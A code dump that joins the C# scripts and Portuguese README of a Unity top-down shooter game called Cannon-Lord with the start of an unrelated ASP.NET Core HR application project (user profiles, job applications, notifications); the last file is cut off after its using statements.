[SerializeField] List<GameObject> shootFlash;
[Header ("Reloading Parameters")]
[SerializeField] float reloadingTime;
float timeToShoot;
// Start is called before the first frame update
void Start()
{
CurrentBullet = maxBullet;
}
// Update is called once per frame
void Update()
{
if (!GameController.instance.GameOver)
{
ShootBulletOnClick();
Reload();
}
}
void Reload()
{
if (Input.GetButtonDown("Reload"))
{
if (!IsReloading)
{
StartCoroutine(ReloadingCoroutine());
}
}
}
void ShootBulletOnClick()
{
timeToShoot += Time.deltaTime;
if (timeToShoot >= shootTimer)
{
timeToShoot = shootTimer;
}
if (timeToShoot >= shootTimer)
{
if (CurrentBullet > 0)
{
if (!IsReloading)
{
if (Input.GetButton("Shoot"))
{
//instancia randomicamente um flash quando atira e destroi depois de 0.1s
int randomIndex = UnityEngine.Random.Range(0, shootFlash.Count - 1);
GameObject flashClone = Instantiate(shootFlash[randomIndex], bulletSpawn);
Destroy(flashClone, 0.3f);
//instancia o som do tiro
GameController.instance.GetComponent<AudioSource>().PlayOneShot(shootSound, 0.2f);
//instancia a bala, adiciona força para mover, remove o parent e muda sua escala pra depois destruir caso não toque em nenhum local
InstantiateBullet(bullet, bulletSpawn, bulletSpeed);
//reseta o tempo para atirar e remove uma bala
timeToShoot = 0;
CurrentBullet -= 1;
}
}
}
}
}
void InstantiateBullet(GameObject bullet, Transform bulletSpawn, float bulletSpeed)
{
GameObject bulletClone = Instantiate(bullet, bulletSpawn);
bulletClone.GetComponent<Rigidbody2D>().AddForce(bulletSpeed * this.transform.right);
bulletClone.transform.parent = null;
bulletClone.transform.localScale = new Vector3(0.2f, 0.2f, 0.2f);
Destroy(bulletClone, 1.5f);
}
IEnumerator ReloadingCoroutine()
{
IsReloading = true;
yield return new WaitForSeconds(reloadingTime);
CurrentBullet = maxBullet;
IsReloading = false;
}
public int CurrentBullet { get; private set; }
public int MaxBullet { get { return maxBullet; } }
public bool IsReloading { get; private set; }
}
<file_sep># Cannon-Lord
Como executar: o jogo se encontra nos links abaixo:
Versão WebGL - https://jerffesonj.itch.io/canon-lord
Versão Windows - https://drive.google.com/file/d/1oSBvWGiEqal9lO6q1jfqu9TYyz07GkcG/view?usp=sharing
Para jogar: R - recarrega
Mouse - rotaciona o personagem
Clique esquerdo: atira
O projeto foi organizado por tipo de arquivo. A escolha dessa organização foi feita por ser um projeto simples que utilizaria poucos arquivos e também por ser mais fácil de localizar caso fosse necessário.
Na pasta Animations foram colocados os arquivos referentes a animações, como as animações de tiro, morte do inimigo e efeitos de sangue.
Na pasta Audios foram inseridos os arquivos de audio utilizados no projeto. Como por exemplo o som de tiro, som de dano do inimigo e som de morte do mesmo.
Na pasta prefabs foram organizados todos os prefabs utilizados no jogo. Como a bala que o personagem atira, os diferentes tipos de inimigos e também outros tipos de objetos que podem ser reutilizados em outras cenas, como o Canvas, o Cenário, o Spawn de inimigos e objetos utilizados para melhorar a parte de efeitos do jogo.
A pasta Resources foi criada apenas para criar um material da cor branca para criar o efeito de flash nos inimigos e personagem quando sofrem algum tipo de dano.
A pasta Scripts contem todos os scripts utilizados no projeto.
A pasta TextMeshPro é uma pasta relacionada do plugin de texto utilizado no projeto.
Na pasta Tilemap se encontram as imagens utilizadas como tilemap para a construção do cenário.
A pasta WaveScriptable contem Scriptable Objects utilizados para criar as waves de inimigos durante o jogo. E dentro desta pasta há os caminhos (waypoints) que cada tipo de inimigo deve seguir.
As pastas iniciadas com "Z", a Z-Backyard - Free e Z-TopDownGunPack são pastas de assets grátis utilizados no projetos. Podem ser encontrados nos links a seguir:
https://assetstore.unity.com/packages/2d/environments/backyard-top-down-tileset-53854
https://assetstore.unity.com/packages/templates/packs/top-down-gun-pack-35277
Utilizando como jogo base, foi verificado que a forma de jogar era lenta, onde o jogador deveria esperar o canhão chegar no local desejado para poder atirar. Onde para atirar era necessário clicar em um botão no canto superior da tela.
Foi pensado para melhorar a jogabilidade em que o próprio jogador pudesse rotacionar o personagem e também atirar com o clique do mouse. E como forma de adicionar mecânicas no jogo, também foram adicionados a barra de vida do personagem, onde caso chegasse a zero, o jogador perdia o jogo, a melhoria de velocidade de tiro do personagem e a mecânica de recarregamento de arma, além de adição de vários tipos de inimigos, onde cada um tem uma forma diferente de movimento, vida e velocidades diferentes. Isso foi pensado para que o jogador tivesse mais coisas para pensar além de apenas atirar e esperar o canhão rotacionar para poder atirar novamente.
Para a implementação da mecânica de rotacionar o personagem e atirar, foi levado aproximadamente 1 hora, já que foi necessário utilizar o cálculo de vetor entre o local de onde o personagem está para o local fica o mouse, além de também fazer o cálculo de rotação para que o personagem rotacionasse em relação do local do mouse. Após isso foi implementada a mecânica de atirar.
Logo após foi criado o inimigo, onde o mesmo deveria seguir um caminho predefinido e chegar no local onde o personagem está. Para isso foi criado um script de spawn de inimigos, um script de vida (para que o inimigo pudesse morrer) e um Scriptable Object, que serviria para saber o número de inimigos que deveriam ser spawnados, a velocidade de movimento e o tempo de spawn que cada inimigo teria. Essa implementação demorou aproximadamente 3 horas. Já que se trata da parte principal do jogo, demandaria mais tempo para criar, porém essa demora valeu a pena, pois, utilizando Scriptable Objects, a wave basicamente estaria pronta, sendo apenas necessário inserir o tipo de inimigo e o caminho que ele deveria seguir para funcionar.
Depois desse processo, foi adicionado o dano que o personagem sofria ao inimigo atravessar o local, junto com a implementação de feedback sonoro do tiro e do dano sofrido do inimigo, além do feedback visual quando o personagem e o inimigo sofriam dano. Esse processo levou aproximadamente 1 hora, pois além de implementar esse feedback, também foi necessário fazer testes para ter certeza que tudo funcionava perfeitamente.
Também foi implementado o feedback utilizando o Canvas, com a adição de pontos ao derrotar os inimigos, a recuperação de vida ao chegar a um certo valor de pontos, a vida restante do jogador e também mostrando o número de balas atuais e máxima do jogador. Esse processo foi rápido, durou aproximadamente 30 minutos, já que era apenas necessário referenciar esse valores em textos no Canvas.
Também foi feito a implementação de efeitos visuais no projeto. Utilizando animações de sangue a atirar no inimigo e animações de morte ao derrota-los. Esse processo durou aproximadamente 1 hora e meia, já que foi necessário criar as animações na Unity e também fazer com que elas funcionassem dentro do jogo.
A parte mais que mais demorou durante todo o processo foi a de teste. Já que para fazer com que o jogador se divertisse enquanto jogava, foi necessário fazer alguns teste de quanto tempo o inimigo demorava a morrer, o número de inimigos por wave, a velocidade em que ele se movia, o número máximo de balas que o jogador teria. Por ser um processo mais espaçado, onde era feito basicamente após a implementação da mecânica não tem uma forma de realmente calcular. Porém baseado no tempo gasto entre uma implementação e outra pode-se a chegar a aproximadamente mais de 2 horas e meia de testes.
Para o versionamento do projeto, foi utilizado o Unity Collab. Onde para cada grande mudança, seria upado o projeto com os arquivos modificados. E caso fosse necessário utilizar um arquivos de uma versão anterior era apenas restaura-lo.
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class GameController : MonoBehaviour
{
public static GameController instance;
[SerializeField] bool gameOver;
[SerializeField] float points;
[SerializeField] float maxPoints;
HpScript playerHp;
// Start is called before the first frame update
void Start()
{
if(instance == null)
{
instance = this;
DontDestroyOnLoad(this.gameObject);
}
playerHp = GameObject.FindGameObjectWithTag("Player").GetComponent<HpScript>();
}
// Update is called once per frame
void Update()
{
}
public void IsGameOver(bool value)
{
gameOver = value;
print("gameob");
}
public void AddPoints(float value)
{
points += value;
if (points >= maxPoints)
{
playerHp.AddHP(25);
maxPoints+=maxPoints;
if (playerHp.Hp >= 100)
{
playerHp.Hp = 100;
}
}
}
public void Restart()
{
gameOver = false;
points = 0;
SceneManager.LoadScene(0);
}
public bool GameOver { get { return gameOver; } }
public float Points { get { return points; } }
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
using TMPro;
public class CanvasScript : MonoBehaviour
{
[Header("Texts")]
[SerializeField] TMP_Text bulletText;
[SerializeField] TMP_Text pointsText;
[SerializeField] TMP_Text reloadingText;
[Header("Panel")]
[SerializeField] GameObject gameOverPanel;
ShootBullet playerBullet;
void Start()
{
playerBullet = GameObject.FindGameObjectWithTag("Player").GetComponent<ShootBullet>();
}
void Update()
{
//checar pontos e numero de balas do jogador
CanvasTexts();
//mostrar o texto de reloading
ShowReloadText();
//quando o jogador morre, mostra o panel de gameover
ShowGameOverPanel();
}
void ShowReloadText()
{
if (playerBullet.IsReloading)
reloadingText.gameObject.SetActive(true);
else
reloadingText.gameObject.SetActive(false);
}
void CanvasTexts()
{
bulletText.text = playerBullet.CurrentBullet.ToString() + " / " + playerBullet.MaxBullet.ToString();
pointsText.text = GameController.instance.Points.ToString();
}
void ShowGameOverPanel()
{
gameOverPanel.SetActive(GameController.instance.GameOver);
}
}
|
d96bd547dc95b60d5b1582cdd5d43b30d7d822c3
|
[
"Markdown",
"C#"
] | 13 |
C#
|
jerffesonj/Cannon-Lord
|
68e04698e3d25b6b911d6ccceb27db83a7bd380a
|
8f59690ee1589959aa2b81cc8c6e4a9b431c620f
|
refs/heads/master
|
<file_sep>/*
* Copyright 2014-2015 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package de.thomaskrille.dropwizard.environment_configuration;
import java.util.List;
import java.util.Map;
import com.google.common.base.Objects;
public class SubTestConfiguration {
public List<String> array;
public Map<String, String> object;
@Override
public String toString() {
return Objects.toStringHelper(this)
.add("array", array)
.add("object", object)
.toString();
}
}
<file_sep># Changelog
## 1.1 - 2015-02-21
### Fixes
- add dependency to commons-lang 2.6 and shade it (4f9f705)
### Changes
- set Dropwizard dependency to scope provided (d08103f)
this should improve compatibility with multiple Dropwizard versions. see
also https://github.com/tkrille/dropwizard-environment-config/pull/1. this
also breaks compatibility for users who depend on the transitive dependency
of Dropwizard - which nobody has done, hopefully.
- move TestEnvironmentProvider to test sources (7df6783)
this should not be a big deal, since nobody has ever used this class in
their projects, hopefully.
## 1.0 - 2014-07-21
**Initial Version**
### Features
- environment variables can be specified in config.yaml by using the following
"magic value": `$env:ENVIRONMENT_VARIABLE[:DEFAULT_VALUE]`.
<file_sep>Dropwizard Environment Config
=============================
**NOTICE:** This project will become end of life soon. Please checkout the
successor to this project: https://github.com/tkrille/dropwizard-template-config.
All users are encouraged to migrate to the new project.
Dropwizard ConfigurationFactory that allows specifying environment variables as
values in YAML.
Setup
-----
First add the dependency to your pom:
```xml
<dependency>
<groupId>de.thomaskrille.dropwizard</groupId>
<artifactId>dropwizard-environment-configuration</artifactId>
<version>1.1</version>
</dependency>
```
To setup, simply set the `EnvironmentConfigurationFactoryFactory` as factory
for configuration factories on the `Bootstrap` object:
```java
@Override
public void initialize(final Bootstrap<Config> bootstrap) {
...
bootstrap.setConfigurationFactoryFactory(new EnvironmentConfigurationFactoryFactory());
...
}
```
Using `EnvironmentConfigurationFactory` also honors configuration overrides
via system properties as usual. Configuration overrides take precedence over
values set via environment variables.
Usage
-----
Environment variables can be specified in config.yaml by using the following
"magic value":
```
$env:ENVIRONMENT_VARIABLE[:DEFAULT_VALUE]
```
Example:
```yaml
array:
- 1
- $env:ARRAY_1
- $env:ARRAY_2:default
object:
a: 1
b: $env:OBJECT_B
c: $env:OBJECT_C:default
```
You can only replace the complete leaf value of the YAML tree. Inline
replacements will not work:
```yaml
# this will not work and leave the tokens as is
url: http://$env:HOST:$env:PORT/
```
See also https://github.com/tkrille/dropwizard-environment-config/pull/5.
You have to write valid YAML, i.e. the following will not work:
```yaml
array: [ 1, $env:array_1, $env:array_2:default]
object: {a: 1, b: $env:object_b, c: $env:object_c:default}
```
Use quotes to make it valid:
```yaml
array: [ 1, "$env:array_1", '$env:array_2:default']
object: {a: 1, b: "$env:object_b", c: '$env:object_c:default'}
```
Copyright Notice
----------------
This project is licensed under the Apache License, Version 2.0, January 2004,
and uses software from the following 3rd parties:
- <NAME>
- Yammer, Inc.
See LICENSE-3RD-PARTY and NOTICE-3RD-PARTY for the individual 3rd parties.
|
8987c21c37b4881c0384587ce26ef58ea6fb99aa
|
[
"Markdown",
"Java"
] | 3 |
Java
|
tkrille/dropwizard-environment-config
|
d22d11d03cdc60282c50d5b49fa8d64b72d1f362
|
a82edfbe223dfd478fedbddff66efb741a9ba404
|
refs/heads/master
|
<repo_name>ola1289/parent_detector_all<file_sep>/all_sensors/all_sensors.cpp
#include <wiringPi.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
#include <wiringPiI2C.h>
#include <time.h>
#include <iomanip>
#include <string>
#define FIXED_FLOAT(x) setprecision(2)<<fixed<<(x)
#define SOUNDPIN 6
#define PIR 1
//i2c
#define DEV_ADDR 0x18
#define TEMP_REG 0x05
#define T_CONF_REG 0x01
#define T_UP_REG 0x02
#define T_DOWN_REG 0x03
#define T_CRIT_REG 0x04
using namespace std;
//raspivid
int raspivid_pid = 0;
//sound
int sound_interr = 0;
int sound_flag = 0;
//pir
int pir_interr = 0;
int pir_flag = 0;
//temp
int low_temp_flag = 0;
float low_temp_limit = -1;
int upp_temp_flag = 0;
float upp_temp_limit = -1;
string get_ip(void)
{
system("hostname -I > ip.txt");
FILE* ip = fopen("ip.txt", "r");
char result[24]={0x0};
fgets(result, sizeof(result), ip);
int size = sizeof(result) / sizeof(char);
for (int i = 0; i < size; i++)
{
if (result[i] == ' ')
{
size = i;
break;
}
}
string r_ip = "";
for (int i = 0; i < size; i++)
{
r_ip+= result[i];
}
pclose(ip);
return r_ip;
}
int get_pid(void)
{
FILE *cmd = popen("pgrep raspivid", "r");
char result[24]={0x0};
fgets(result, sizeof(result), cmd);
raspivid_pid = atoi(result);
cout << "raspivid_pid = " << raspivid_pid << endl;
pclose(cmd);
return raspivid_pid;
}
float getTemperature(int dev_addr, int reg_addr)
{
int temp_reg = wiringPiI2CReadReg16(dev_addr, reg_addr);
int t = temp_reg;
int M_sb = temp_reg & 0x000f; //clear <15-12> bits
int L_sb = (t & 0xff00)>>8;
float temp = (M_sb*16) + static_cast< float >(L_sb) /16;
return temp;
}
void pir_interrupt(void)
{
cout << "move detected!" << endl;
if(pir_flag == 0)
{
system("echo \"Move detected!\" | mail -s \"#RPi Move alert!\" <EMAIL>");
}
pir_flag = 1;
pir_interr = 1;
}
void sound_interrupt(void)
{
cout << "noise detected!"<< endl;
if(sound_flag == 0)
{
system("echo \"Noise detected!\" | mail -s \"#RPi Noise alert!\" <EMAIL>");
}
sound_flag = 1;
sound_interr = 1;
}
int temp_hot(int &handle, int upp_temp_limit)
{
float current_temp = getTemperature(handle,TEMP_REG);
if(current_temp >= upp_temp_limit)
{
cout << "current_temp = " << FIXED_FLOAT(current_temp) << " upp_temp_limit = " << FIXED_FLOAT(upp_temp_limit) << endl;
cout<<"Temperature too high!"<<endl;
if(upp_temp_flag == 0)
{
system("echo \"Temperature too high!\" | mail -s \"#RPi High temperature alert!\" <EMAIL>");
}
upp_temp_flag = 1;
return 1;
}else
return 0;
}
int temp_cold(int &handle, int low_temp_limit)
{
float current_temp = getTemperature(handle,TEMP_REG);
if(current_temp <= low_temp_limit)
{
cout << "current_temp = " << FIXED_FLOAT(current_temp) << " low_temp_limit = " << FIXED_FLOAT(low_temp_limit) << endl;
cout<<"Too cold"<<endl;
if(low_temp_flag == 0)
{
system("echo \"Temperature too low!\" | mail -s \"#RPi Low temperature alert!\" <EMAIL>");
}
low_temp_flag = 1;
return 1;
}else
return 0;
}
int setup(int &handle, int &fd)
{
cout << "SETUP STARTED"<<endl;
if (fd==-1 || handle==-1)
{
cout << "Failed to init WiringPi communication.\n";
return -1;
}
//write to i2c
cout << "Temperature Sensor Setup started" << endl;
wiringPiI2CWriteReg16(handle, T_UP_REG,0x9101); //upper temp treshold set to 25 C
wiringPiI2CWriteReg16(handle, T_DOWN_REG,0x2101); //lower temp treshold set to 18 C
upp_temp_limit = getTemperature(handle, T_UP_REG);
low_temp_limit = getTemperature(handle, T_DOWN_REG);
cout << "Temperature upper limit " << upp_temp_limit << endl;
cout << "Temperature lower limit " << low_temp_limit << endl;
if (upp_temp_limit != -1 && low_temp_limit != -1)
{
cout << "Temperature Sensor ok" << endl;
}
else
{
cout << "Failed to write to I2C.\n";
return -1;
}
cout << "Initialize camera" << endl;
system("bash -c \"(raspivid -s -vf -o - -t 0 -n -w 320 -h 240 -fps 24 &) | (tee -a /home/pi/win_share/test_video.h264 &) | (cvlc -vvv stream:///dev/stdin --sout '#rtp{sdp=rtsp://:8000/}' :demux=h264 &)\"");
//checking if raspivid process has been started
raspivid_pid = get_pid();
if(raspivid_pid > 0)
{
delay(1000);
system("pkill -USR1 raspivid"); //send signal to stop capturing - end of initialization
cout << "Camera ok" << endl;
}
else
{
cout << "Camera failure" << endl;
return -1;
}
if (wiringPiISR(SOUNDPIN, INT_EDGE_RISING, &sound_interrupt) <0
|| wiringPiISR(PIR, INT_EDGE_RISING, &pir_interrupt) <0)
{
cout << "Failed to init interrupts.\n";
return -1;
}
cout << "SETUP OK"<< endl << "End of Setup" << endl;
return 1;
}
int main(int argc, char **argv)
{
//IP
string ip = get_ip();
cout<< "current IP " << ip << endl;
int counter = 0;
int camera_status = 0;
int handle = wiringPiI2CSetup(DEV_ADDR);
int fd = wiringPiSetup();
if (setup(handle, fd))
{
cout << "Waiting for any event" << endl;
while(1)
{
if (sound_interr || pir_interr || temp_hot(handle, upp_temp_limit) == 1 || temp_cold(handle, low_temp_limit) == 1)
{
sound_interr = 0;
pir_interr = 0;
counter = 0; //each event clears counter in order to continue recording
if (camera_status == 0 && raspivid_pid > 0) //enters here only during first loop
{
cout << "Start capturing the video" << endl;
system("pkill -USR1 raspivid");
camera_status = 1;
}else if(camera_status == 0 && raspivid_pid == 0) //enters here after killig process
{
cout << "Start capturing the video" << endl;
system("bash -c \"(raspivid -s -vf -o - -t 0 -n -w 320 -h 240 -fps 24 &) | (tee -a /home/pi/win_share/test_video.h264 &) | (cvlc -vvv stream:///dev/stdin --sout '#rtp{sdp=rtsp://:8000/}' :demux=h264 &)\"");
raspivid_pid = get_pid();
camera_status = 1;
}
cout << "Waiting for next event" << endl;
}
delay(500); //delay for decreasing cpu load (0,5 S)
if (camera_status){
++counter;
} //camera should run for period of time after last event
if (counter > 30) //240 x 0,5 s = 2 min
{
cout << "Stop capturing the video" << endl;
system("pkill -9 raspivid");
raspivid_pid = 0;
camera_status = 0;
//timing
counter = 0;
// sensors flags
sound_flag = 0;
pir_flag = 0;
low_temp_flag = 0;
upp_temp_flag = 0;
//uploading file on nextcloud
string cmd = "";
cmd+="curl -k -u \"ola1289:Fiolek12345\" -T /home/pi/win_share/test_video.h264 -H 'X-Method-Override: PUT' https://";
cmd+=ip;
cmd+="/nextcloud/remote.php/dav/files/ola1289/";
system(cmd.c_str());
//removing file from disc - file is not overwriting so it would get too big in time
system("rm /home/pi/win_share/test_video.h264");
}
}
}
else
{
cout << "SETUP FAILURE" << endl;
}
return 0;
}
|
7b051f1cfc8c2ed79b7ded8ad22cf5e982b30d91
|
[
"C++"
] | 1 |
C++
|
ola1289/parent_detector_all
|
04a2eb899a33654aa15d616fc6fab69274ac3e42
|
44e8ef342950045f35fc4535c7379abaa0ff2465
|
refs/heads/master
|
<file_sep>.PHONY: FORCE
all: FORCE
$(MAKE) -C .. gasbit_qt test_gasbit_qt
clean: FORCE
$(MAKE) -C .. gasbit_qt_clean test_gasbit_qt_clean
check: FORCE
$(MAKE) -C .. test_gasbit_qt_check
gasbit-qt gasbit-qt.exe: FORCE
$(MAKE) -C .. gasbit_qt
<file_sep>all:
$(MAKE) -C .. gasbit_test
clean:
$(MAKE) -C .. gasbit_test_clean
check:
$(MAKE) -C .. gasbit_test_check
<file_sep>// Copyright (c) 2011-2014 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef GASBIT_QT_GASBITADDRESSVALIDATOR_H
#define GASBIT_QT_GASBITADDRESSVALIDATOR_H
#include <QValidator>
/** Base58 entry widget validator, checks for valid characters and
* removes some whitespace.
*/
class GasbitAddressEntryValidator : public QValidator
{
Q_OBJECT
public:
explicit GasbitAddressEntryValidator(QObject *parent);
State validate(QString &input, int &pos) const;
};
/** Gasbit address widget validator, checks for a valid gasbit address.
*/
class GasbitAddressCheckValidator : public QValidator
{
Q_OBJECT
public:
explicit GasbitAddressCheckValidator(QObject *parent);
State validate(QString &input, int &pos) const;
};
#endif // GASBIT_QT_GASBITADDRESSVALIDATOR_H
<file_sep>Sample configuration files for:
SystemD: gasbitd.service
Upstart: gasbitd.conf
OpenRC: gasbitd.openrc
gasbitd.openrcconf
CentOS: gasbitd.init
OS X: org.gasbit.gasbitd.plist
have been made available to assist packagers in creating node packages here.
See doc/init.md for more information.
<file_sep>#!/bin/bash
#
# gasbitd The gasbit core server.
#
#
# chkconfig: 345 80 20
# description: gasbitd
# processname: gasbitd
#
# Source function library.
. /etc/init.d/functions
# you can override defaults in /etc/sysconfig/gasbitd, see below
if [ -f /etc/sysconfig/gasbitd ]; then
. /etc/sysconfig/gasbitd
fi
RETVAL=0
prog=gasbitd
# you can override the lockfile via GASBITD_LOCKFILE in /etc/sysconfig/gasbitd
lockfile=${GASBITD_LOCKFILE-/var/lock/subsys/gasbitd}
# gasbitd defaults to /usr/bin/gasbitd, override with GASBITD_BIN
gasbitd=${GASBITD_BIN-/usr/bin/gasbitd}
# gasbitd opts default to -disablewallet, override with GASBITD_OPTS
gasbitd_opts=${GASBITD_OPTS--disablewallet}
start() {
echo -n $"Starting $prog: "
daemon $DAEMONOPTS $gasbitd $gasbitd_opts
RETVAL=$?
echo
[ $RETVAL -eq 0 ] && touch $lockfile
return $RETVAL
}
stop() {
echo -n $"Stopping $prog: "
killproc $prog
RETVAL=$?
echo
[ $RETVAL -eq 0 ] && rm -f $lockfile
return $RETVAL
}
case "$1" in
start)
start
;;
stop)
stop
;;
status)
status $prog
;;
restart)
stop
start
;;
*)
echo "Usage: service $prog {start|stop|status|restart}"
exit 1
;;
esac
<file_sep>all:
$(MAKE) -C ../../ test_gasbit_qt
clean:
$(MAKE) -C ../../ test_gasbit_qt_clean
check:
$(MAKE) -C ../../ test_gasbit_qt_check
|
91412d0be54ecc7deb6ef6fc15efb631cc5ede70
|
[
"Markdown",
"Makefile",
"C++",
"Shell"
] | 6 |
Makefile
|
mirzaei-ce/core-gasbit
|
8dfcb19abd74373c8432d8bbaa7887b2590ed2ae
|
77740eaae2176b95d48dc7804277f83eae2e128e
|
refs/heads/master
|
<repo_name>beto2030/TallerEnClase<file_sep>/tipodemotordebomba.js
function resultado = Tipodemotor(){
var tipodemotor = prompt('Escriba tipo de bomba en numeros')
switch (tipodemotor){
case 1 :
alert( La bomba es una bomba de agua )
break;
case 2 :
alert( La bomba es una bomba de gasolina )
break;
casce 3 :
alert( La bomba es una bomba de hormigón )
break;
case 4 :
alert( La bomba es una bomba de pasta alimenticia )
break;
}
Tipodemotor()
|
a076c2c3f47b232de3ad20dff2c0555b1d226cea
|
[
"JavaScript"
] | 1 |
JavaScript
|
beto2030/TallerEnClase
|
41a06f7058b63e41c1a373f3b40975f6fbe485bf
|
8427bef15d824502cf088050e2e1bd0938f3865f
|
refs/heads/master
|
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.RazorPages;
using Microsoft.AspNetCore.Mvc.Rendering;
using HRApplication.Models;
using Microsoft.AspNetCore.Identity;
using HRApplication.Data;
namespace HRApplication.Pages.Profile
{
public class CreateModel : PageModel
{
private readonly HRApplication.Models.UserProfileContext _context;
private readonly UserManager<ApplicationUser> _userManager;
public CreateModel(HRApplication.Models.UserProfileContext context, UserManager<ApplicationUser> userManager)
{
_context = context;
_userManager = userManager;
}
public async Task<IActionResult> OnGetAsync()
{
var user = await _userManager.GetUserAsync(HttpContext.User);
if (_context.UserProfile.Find(user.Id.ToString()) != null)
{
return Redirect("/Profile/Edit");
}
return Page();
}
[BindProperty]
public UserProfile UserProfile { get; set; }
public async Task<IActionResult> OnPostAsync()
{
if (!ModelState.IsValid)
{
return Page();
}
var user = await _userManager.GetUserAsync(HttpContext.User);
// link the user profile to the user account
UserProfile.ID = user.Id;
_context.UserProfile.Add(UserProfile);
await _context.SaveChangesAsync();
return RedirectToPage("/Index");
}
}
}<file_sep>using System;
using System.ComponentModel.DataAnnotations.Schema;
namespace HRApplication.Models
{
public class Notification
{
public int ID { get; set; }
public DateTime dateSent { get; set; }
public NotificationType type { get; set; }
public UserProfile sender { get; set; }
public UserProfile recipient { get; set; }
public string message { get; set; }
[NotMapped]
public Object associatedObject { get; set; }
}
public enum NotificationType
{
PositionRequested,
PositionRequesStatusChanged,
ApplicationSubmitted,
ApplicationStatusChanged,
InterviewScheduled,
InterviewScheduleStatusChanged
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.RazorPages;
using Microsoft.AspNetCore.Mvc.Rendering;
using Microsoft.EntityFrameworkCore;
using HRApplication.Models;
using Microsoft.AspNetCore.Http;
using System.IO;
namespace HRApplication.Pages.Applications
{
public class EditModel : PageModel
{
private readonly HRApplication.Models.PositionContext _context;
public EditModel(HRApplication.Models.PositionContext context)
{
_context = context;
}
[BindProperty]
public Application Application { get; set; }
[BindProperty]
public Position Position { get; set; }
public async Task<IActionResult> OnGetAsync(string id)
{
if (id == null)
{
return NotFound();
}
Application = await _context.Application.SingleOrDefaultAsync(m => m.ID == id);
Position = await _context.Position.SingleOrDefaultAsync(m => m.ID == Application.PositionID);
if (Application == null)
{
return NotFound();
}
return Page();
}
public async Task<IActionResult> OnPostAsync(IFormFile resume, IFormFile coverLetter)
{
if (!ModelState.IsValid)
{
return Page();
}
// TODO: delete old resume and cover letter from server
//var oldResume = Path.Combine(Directory.GetCurrentDirectory(), "wwwroot", Application.ResumePath);
//if (System.IO.File.Exists(oldResume))
//{
// System.IO.File.Delete(oldResume);
//}
//var oldCoverLetter = Path.Combine(Directory.GetCurrentDirectory(), "wwwroot", Application.ResumePath);
//if (System.IO.File.Exists(oldCoverLetter))
//{
// System.IO.File.Delete(oldCoverLetter);
//}
// save resume on server
var resumePath = Path.Combine(Directory.GetCurrentDirectory(), "wwwroot", resume.FileName);
using (var stream = new FileStream(resumePath, FileMode.Create))
{
await resume.CopyToAsync(stream);
}
// save cover letter on server
var coverLetterPath = Path.Combine(Directory.GetCurrentDirectory(), "wwwroot", coverLetter.FileName);
using (var stream = new FileStream(coverLetterPath, FileMode.Create))
{
await coverLetter.CopyToAsync(stream);
}
// update db entity with new file names
Application.ResumePath = resume.FileName;
Application.CoverLetterPath = coverLetter.FileName;
_context.Attach(Application).State = EntityState.Modified;
try
{
await _context.SaveChangesAsync();
}
catch (DbUpdateConcurrencyException)
{
}
return RedirectToPage("./MyApplications");
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Identity;
using HRApplication.Data;
using HRApplication.Models;
using Microsoft.AspNetCore.Authorization;
namespace HRApplication.Controllers
{
public class ProfileController : Controller
{
private readonly UserManager<ApplicationUser> _userManager;
private readonly UserProfileContext _context;
public ProfileController(UserManager<ApplicationUser> userManager,UserProfileContext context)
{
_userManager = userManager;
_context = context;
}
[Route("Profile")]
[Authorize]
public async Task<IActionResult> IndexAsync()
{
var user = await _userManager.GetUserAsync(HttpContext.User);
if (_context.UserProfile.Find(user.Id.ToString()) == null)
{
return Redirect("Profile/Create");
}
else
{
return Redirect("Profile/Edit");
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.RazorPages;
using Microsoft.EntityFrameworkCore;
using HRApplication.Models;
using Microsoft.AspNetCore.Identity;
using HRApplication.Data;
using System.IO;
namespace HRApplication.Pages.Applications
{
public class MyApplicationsModel : PageModel
{
private readonly HRApplication.Models.PositionContext _context;
private readonly UserManager<ApplicationUser> _userManager;
public MyApplicationsModel(HRApplication.Models.PositionContext context, UserManager<ApplicationUser> userManager)
{
_context = context;
_userManager = userManager;
}
public List<Application> Application { get;set; }
public List<Position> Position { get; set; }
public async Task OnGetAsync()
{
string userID = (await _userManager.GetUserAsync(HttpContext.User)).Id.ToString();
Application = _context.GetApplicationsForUser(userID);
Position = _context.GetPositionsForApplications(Application);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Threading.Tasks;
namespace HRApplication.Models
{
public class Application
{
public string ID { get; set; }
public string ApplicantID { get; set; }
public string PositionID { get; set; }
[Display(Name="Resume")]
public string ResumePath { get; set; }
[Display(Name="Cover Letter")]
public string CoverLetterPath { get; set; }
public string Experience { get; set; }
public ApplicationStatus Status { get; set; }
}
public enum ApplicationStatus
{
Submitted,
Approved,
Rejected
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Identity;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Hosting;
using Microsoft.EntityFrameworkCore;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using HRApplication.Data;
using HRApplication.Services;
using HRApplication.Models;
using Microsoft.AspNetCore.Identity.EntityFrameworkCore;
using Microsoft.Extensions.FileProviders;
using System.IO;
